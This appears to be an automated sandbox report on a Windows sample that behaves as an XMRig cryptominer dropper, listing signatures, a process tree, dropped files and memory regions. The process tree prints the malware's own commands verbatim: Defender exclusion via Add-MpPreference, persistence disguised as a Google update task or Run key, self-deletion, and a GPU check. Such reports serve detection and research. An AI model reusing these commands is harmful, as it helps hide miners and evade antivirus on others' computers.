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Analysis

  • max time kernel
    1775s
  • max time network
    1803s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 24 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1180
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1916
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2432
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2648
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2420
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2796
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2580
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:3060
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:488
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1032
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
            3⤵
            • Creates scheduled task(s)
            PID:1860
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          PID:1196
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:2480
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            3⤵
            • Detects videocard installed
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:2564
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:2816
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2084
      • C:\Windows\System32\choice.exe
        choice /C Y /N /D Y /T 3
        1⤵
          PID:2588
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {3C808B7A-C9EB-446F-A3FE-92A79F7CF81C} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2204
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:696

        Network

              MITRE ATT&CK Enterprise v15

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              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 41KB
              • SHA256 9dc91ad771902dabeb37cf0da9ab3745244c4d05a6e2c0ed4ae07dedd29dacb6
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 231KB
              • SHA256 dfde379e9958c7a6dfd8f96bca37993e2466245bb2b090b668772151aac0c1fa
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              IYD7VQ0S2QJ1DQJ1RDVQ.temp

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IYD7VQ0S2QJ1DQJ1RDVQ.temp
              • Size 7KB
              • SHA256 3a1b413a372c40f8b343a1972329cb1b35fbba11be9c180a0c5f71fcc991c0af
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 1KB
              • SHA256 a3f75e9da7020010715b3577eeb734c992639c52d28022dcf4351e75b547ad9a
              • MD5 SHA1 SHA512

              memory/488-45-0x000007FEF49B0000-0x000007FEF534D000-memory.dmp

              memory/488-46-0x000007FEF49B0000-0x000007FEF534D000-memory.dmp

              memory/488-48-0x0000000000A30000-0x0000000000AB0000-memory.dmp

              memory/488-49-0x0000000000A30000-0x0000000000AB0000-memory.dmp

              memory/488-47-0x0000000000A30000-0x0000000000AB0000-memory.dmp

              memory/488-50-0x000007FEF49B0000-0x000007FEF534D000-memory.dmp

              memory/696-65-0x000000013FD70000-0x000000013FF81000-memory.dmp

              memory/696-44-0x000000013FD70000-0x000000013FF81000-memory.dmp

              memory/1032-58-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

              memory/1032-52-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

              memory/1032-53-0x0000000001070000-0x00000000010F0000-memory.dmp

              memory/1032-54-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

              memory/1032-56-0x0000000001070000-0x00000000010F0000-memory.dmp

              memory/1032-55-0x0000000001070000-0x00000000010F0000-memory.dmp

              memory/1032-57-0x0000000001070000-0x00000000010F0000-memory.dmp

              memory/1916-27-0x000000013FFE0000-0x00000001401F1000-memory.dmp

              memory/1916-0-0x000000013FFE0000-0x00000001401F1000-memory.dmp

              memory/2084-85-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-97-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-129-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-127-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-125-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-123-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-121-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-119-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-117-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-115-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-113-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-111-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-109-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-107-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-105-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-103-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-101-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-99-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-95-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-93-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-91-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-89-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-87-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-67-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-66-0x00000000000F0000-0x0000000000110000-memory.dmp

              memory/2084-68-0x00000000007A0000-0x00000000007C0000-memory.dmp

              memory/2084-69-0x00000000007C0000-0x00000000007E0000-memory.dmp

              memory/2084-83-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-71-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-73-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-81-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-75-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2084-78-0x00000000007A0000-0x00000000007C0000-memory.dmp

              memory/2084-79-0x00000000007C0000-0x00000000007E0000-memory.dmp

              memory/2084-77-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2432-8-0x00000000023D0000-0x00000000023D8000-memory.dmp

              memory/2432-12-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

              memory/2432-7-0x0000000002640000-0x00000000026C0000-memory.dmp

              memory/2432-6-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

              memory/2432-5-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

              memory/2432-9-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

              memory/2432-10-0x0000000002640000-0x00000000026C0000-memory.dmp

              memory/2432-11-0x0000000002640000-0x00000000026C0000-memory.dmp

              memory/2580-34-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

              memory/2580-39-0x0000000002860000-0x00000000028E0000-memory.dmp

              memory/2580-38-0x0000000002860000-0x00000000028E0000-memory.dmp

              memory/2580-40-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

              memory/2580-37-0x0000000002860000-0x00000000028E0000-memory.dmp

              memory/2580-36-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

              memory/2580-35-0x0000000002860000-0x00000000028E0000-memory.dmp

              memory/2648-21-0x0000000002530000-0x00000000025B0000-memory.dmp

              memory/2648-24-0x0000000002530000-0x00000000025B0000-memory.dmp

              memory/2648-23-0x0000000002530000-0x00000000025B0000-memory.dmp

              memory/2648-25-0x000007FEF49B0000-0x000007FEF534D000-memory.dmp

              memory/2648-22-0x000007FEF49B0000-0x000007FEF534D000-memory.dmp

              memory/2648-19-0x000007FEF49B0000-0x000007FEF534D000-memory.dmp

              memory/2648-20-0x0000000002510000-0x0000000002518000-memory.dmp

              memory/2648-18-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

              memory/2816-74-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2816-70-0x0000000140000000-0x0000000140016000-memory.dmp